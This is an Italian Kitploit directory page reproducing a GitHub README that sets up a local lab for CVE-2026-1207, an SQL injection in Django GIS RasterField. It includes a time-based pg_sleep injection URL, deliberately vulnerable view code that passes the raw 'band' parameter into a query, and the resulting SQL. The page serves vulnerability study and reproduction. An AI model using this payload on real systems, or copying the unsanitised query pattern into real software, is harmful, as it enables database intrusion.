Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/sw0rd1ight/cve-2026-1207
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

Django framework, quando si utilizzano query PostGIS su dati raster geografici, se l'input utente non verificato viene passato direttamente come parametro band index (indice di banda), si può verificare un'iniezione SQL.

Vedi Repository
34 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-1207 Django GIS RasterField SQL 注入漏洞复现

Panoramica della vulnerabilità

Tipo di vulnerabilità: SQL Injection Componente interessato: django.contrib.gis RasterField

Quando si utilizza RasterField di Django GIS per eseguire query, il parametro band viene concatenato direttamente nell'istruzione SQL, causando una vulnerabilità di SQL injection. Un attaccante può iniettare codice SQL arbitrario costruendo un valore malevolo per il parametro band.

Struttura del progetto

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # Configurazione VSCode DevContainer
├── .vscode/           # Configurazione VSCode
├── vuln/             # Applicazione demo della vulnerabilità
│   ├── models.py     # Modello contenente RasterField
│   ├── views.py      # Punto di attivazione della vulnerabilità
│   └── migrations/   # File di migrazione del database
├── web/              # Configurazione del progetto Django
├── manage.py
├── README.md

Avvio dell'ambiente

Questo progetto di vulnerabilità viene compilato utilizzando il devcontainer di VSCode.

1️⃣ Aprire il progetto

Aprire la directory root del progetto esistente (contenente la cartella .devcontainer) con VS Code.

2️⃣ Riaprire il container (compilare il Dev Container)

Premere Ctrl+Shift+P (Windows/Linux) o Cmd+Shift+P (Mac)

Digitare Remote-Containers: Reopen in Container

VS Code leggerà la configurazione .devcontainer e compilerà il container (la prima compilazione potrebbe richiedere alcuni minuti)

⚠️ Se il Dockerfile o le dipendenze sono state aggiornate, è possibile selezionare Remote-Containers: Rebuild Container per garantire l'uso dell'ambiente più recente.

3️⃣ Eseguire il server di sviluppo Django

Aprire la palette dei comandi Ctrl+Shift+P

Digitare Tasks: Run Task

Selezionare django:start (l'attività è già configurata in .vscode/tasks.json)

Questa attività avvierà il server di sviluppo Django all'interno del container

In ascolto predefinito su 0.0.0.0:8087

4️⃣ Aprire il browser e accedere al progetto

Aprire il browser e visitare:

root@kitploit:~
http://localhost:8087

5️⃣ Note

Al primo avvio potrebbe essere necessario eseguire le migrazioni del database:

root@kitploit:~
python manage.py migrate

Riproduzione della vulnerabilità

L'analisi dettagliata della vulnerabilità è pubblicata su 先知 https://xz.aliyun.com/news/91993

Account WeChat ufficiale https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC: Iniezione con ritardo

Visitare il seguente URL per attivare l'SQL injection:

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

Osservare il tempo di risposta: una richiesta normale dovrebbe restituire immediatamente, mentre la richiesta di iniezione subirà un ritardo di circa 3 secondi.

Posizione del codice vulnerabile

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← input utente non filtrato
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band passato direttamente alla query
    print(qs.query)  # ← visualizza l'SQL generato
    qs.count()
    return HttpResponse("book app")

SQL generato (dopo l'iniezione)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

Disclaimer

Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e formazione. Non utilizzarlo su sistemi non autorizzati.

Scarica lo strumento